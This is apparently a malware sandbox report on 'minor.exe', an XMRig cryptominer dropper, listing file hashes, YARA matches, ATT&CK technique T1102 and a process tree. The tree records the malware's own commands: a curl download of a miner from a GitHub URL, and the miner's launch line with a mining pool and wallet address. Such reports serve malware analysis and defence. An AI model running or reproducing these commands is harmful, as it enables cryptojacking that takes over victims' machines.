xmrig | 7d3cd7a7f9c7e8a2fa5a244d2a3d3f6bce9f060e0e5cf4ea6700c642f00ed746

General

Target

minor.exe
Size

5.3MB
MD5

96e6ccea2851f0c75461f7e87321b14c
SHA1

03d9c8014f265984539b57152c2fb5c305eaaf37
SHA256

7d3cd7a7f9c7e8a2fa5a244d2a3d3f6bce9f060e0e5cf4ea6700c642f00ed746
SHA512

ba7707615e1415632c1ee65b6daaec916b7ee7ff5778f9a405201d756714445ba1213006077356db8db0cb7a36afe9bfc86ec076f09cf2f99f5f0eaa8660cf55
SSDEEP

98304:QxfbbSECv84zUSzp1jkGVZiS0aOQQTNgVqMbCYn9MPx8cLfDzz/OIa8f:vXvfUSzrlVZiS0Xzg5/MmAba8

Score

10^/10

xmrig miner

Malware Config

Signatures

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral1/files/0x0008000000023465-29.dat	family_xmrig
behavioral1/files/0x0008000000023465-29.dat	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Downloads MZ/PE file

Executes dropped EXE 2 IoCs

pid	Process
3064	minor.exe
3164	driver.exe

Loads dropped DLL 4 IoCs

pid	Process
3064	minor.exe
3064	minor.exe
3064	minor.exe
3064	minor.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
23	raw.githubusercontent.com
29	raw.githubusercontent.com

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	3164	driver.exe
Token: SeLockMemoryPrivilege	3164	driver.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3164	driver.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1520 wrote to memory of 3064	1520	minor.exe	88
PID 1520 wrote to memory of 3064	1520	minor.exe	88
PID 3064 wrote to memory of 4460	3064	minor.exe	91
PID 3064 wrote to memory of 4460	3064	minor.exe	91
PID 4460 wrote to memory of 4212	4460	cmd.exe	92
PID 4460 wrote to memory of 4212	4460	cmd.exe	92
PID 3064 wrote to memory of 4296	3064	minor.exe	104
PID 3064 wrote to memory of 4296	3064	minor.exe	104
PID 4296 wrote to memory of 3164	4296	cmd.exe	105
PID 4296 wrote to memory of 3164	4296	cmd.exe	105

C:\Users\Admin\AppData\Local\Temp\minor.exe
"C:\Users\Admin\AppData\Local\Temp\minor.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1520
- C:\Users\Admin\AppData\Local\Temp\onefile_1520_133580847873658729\minor.exe
  "C:\Users\Admin\AppData\Local\Temp\minor.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:3064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl -L -k https://github.com/mzusi/m/raw/main/SoundDriver.exe -o driver.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4460
  - - C:\Windows\system32\curl.exe
      curl -L -k https://github.com/mzusi/m/raw/main/SoundDriver.exe -o driver.exe
      4⤵
      PID:4212
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\driver.exe" --donate-level 1 --max-cpu-usage 60 -o pool.hashvault.pro:3333 -u 49WNFqsKfkfEsSuUf95s6YVai7nwsonYBGqnvfqrxsL3TWZSaYB6s5NZBekBcSVtq91FxWbnaAiVD5pT42whvANq48hHL7b -p minor -k"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4296
  - - C:\Users\Admin\AppData\Local\Temp\driver.exe
      "C:\Users\Admin\AppData\Local\Temp\driver.exe" --donate-level 1 --max-cpu-usage 60 -o pool.hashvault.pro:3333 -u 49WNFqsKfkfEsSuUf95s6YVai7nwsonYBGqnvfqrxsL3TWZSaYB6s5NZBekBcSVtq91FxWbnaAiVD5pT42whvANq48hHL7b -p minor -k
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:3164

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\_bz2.pyd

Filesize
81KB

MD5
4101128e19134a4733028cfaafc2f3bb

SHA1
66c18b0406201c3cfbba6e239ab9ee3dbb3be07d

SHA256
5843872d5e2b08f138a71fe9ba94813afee59c8b48166d4a8eb0f606107a7e80

SHA512
4f2fc415026d7fd71c5018bc2ffdf37a5b835a417b9e5017261849e36d65375715bae148ce8f9649f9d807a63ac09d0fb270e4abae83dfa371d129953a5422ca

Download Submit
C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\_lzma.pyd

Filesize
154KB

MD5
337b0e65a856568778e25660f77bc80a

SHA1
4d9e921feaee5fa70181eba99054ffa7b6c9bb3f

SHA256
613de58e4a9a80eff8f8bc45c350a6eaebf89f85ffd2d7e3b0b266bf0888a60a

SHA512
19e6da02d9d25ccef06c843b9f429e6b598667270631febe99a0d12fc12d5da4fb242973a8351d3bf169f60d2e17fe821ad692038c793ce69dfb66a42211398e

Download Submit
C:\Users\Admin\AppData\Local\Temp\driver.exe

Filesize
5.1MB

MD5
99aa369598e5d8eba59b7d0f0a8429f9

SHA1
7baaf6546112049038e4c62143ce7dd77c3a97c9

SHA256
8174ccc5cfae43503648608ba6ae14b00679517591a2cdff9017c4be2ab2996b

SHA512
3fdb8674033d6736bb548c262f54e1277c196fb83c3bfcc6dbe9b8bb126fb3f8404b6385f666b389e5ea84ab7261bcb65dddd88e39c53d3d0e6813dd9212c62f

Download Submit
C:\Users\Admin\AppData\Local\Temp\onefile_1520_133580847873658729\VCRUNTIME140.dll

Filesize
96KB

MD5
f12681a472b9dd04a812e16096514974

SHA1
6fd102eb3e0b0e6eef08118d71f28702d1a9067c

SHA256
d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8

SHA512
7d3accbf84de73fb0c5c0de812a9ed600d39cd7ed0f99527ca86a57ce63f48765a370e913e3a46ffc2ccd48ee07d823dafdd157710eef9e7cc1eb7505dc323a2

Download Submit
C:\Users\Admin\AppData\Local\Temp\onefile_1520_133580847873658729\minor.exe

Filesize
6.6MB

MD5
efad0224514af668288b4fd8eaec05c1

SHA1
9807444d6c2598c09d2904545b23d0c56655f424

SHA256
80ddb2503286195ed3dbea2c3e36c79a2214b0d2a5465af766a3d19fe69a5227

SHA512
d8115457b6984ae69675020a28767795420acce7428a2476f22357bc06b11da643919d134c6d274673098713a33c2627e3bb67a08ea491002fc0a31b1a6e1e07

Download Submit
C:\Users\Admin\AppData\Local\Temp\onefile_1520_133580847873658729\python311.dll

Filesize
5.5MB

MD5
9a24c8c35e4ac4b1597124c1dcbebe0f

SHA1
f59782a4923a30118b97e01a7f8db69b92d8382a

SHA256
a0cf640e756875c25c12b4a38ba5f2772e8e512036e2ac59eb8567bf05ffbfb7

SHA512
9d9336bf1f0d3bc9ce4a636a5f4e52c5f9487f51f00614fc4a34854a315ce7ea8be328153812dbd67c45c75001818fa63317eba15a6c9a024fa9f2cab163165b

Download Submit
memory/1520-21-0x00007FF7C2650000-0x00007FF7C2BC0000-memory.dmp

Filesize
5.4MB

Download
memory/3064-22-0x00007FF7DDED0000-0x00007FF7DE577000-memory.dmp

Filesize
6.7MB

Download
memory/3064-34-0x00007FF7DDED0000-0x00007FF7DE577000-memory.dmp

Filesize
6.7MB

Download
memory/3164-31-0x0000023D84E60000-0x0000023D84E80000-memory.dmp

Filesize
128KB

Download
memory/3164-32-0x0000023D86820000-0x0000023D86840000-memory.dmp

Filesize
128KB

Download
memory/3164-39-0x0000023D86840000-0x0000023D86860000-memory.dmp

Filesize
128KB

Download
memory/3164-46-0x0000023D86840000-0x0000023D86860000-memory.dmp

Filesize
128KB

Download

Analysis

Sharing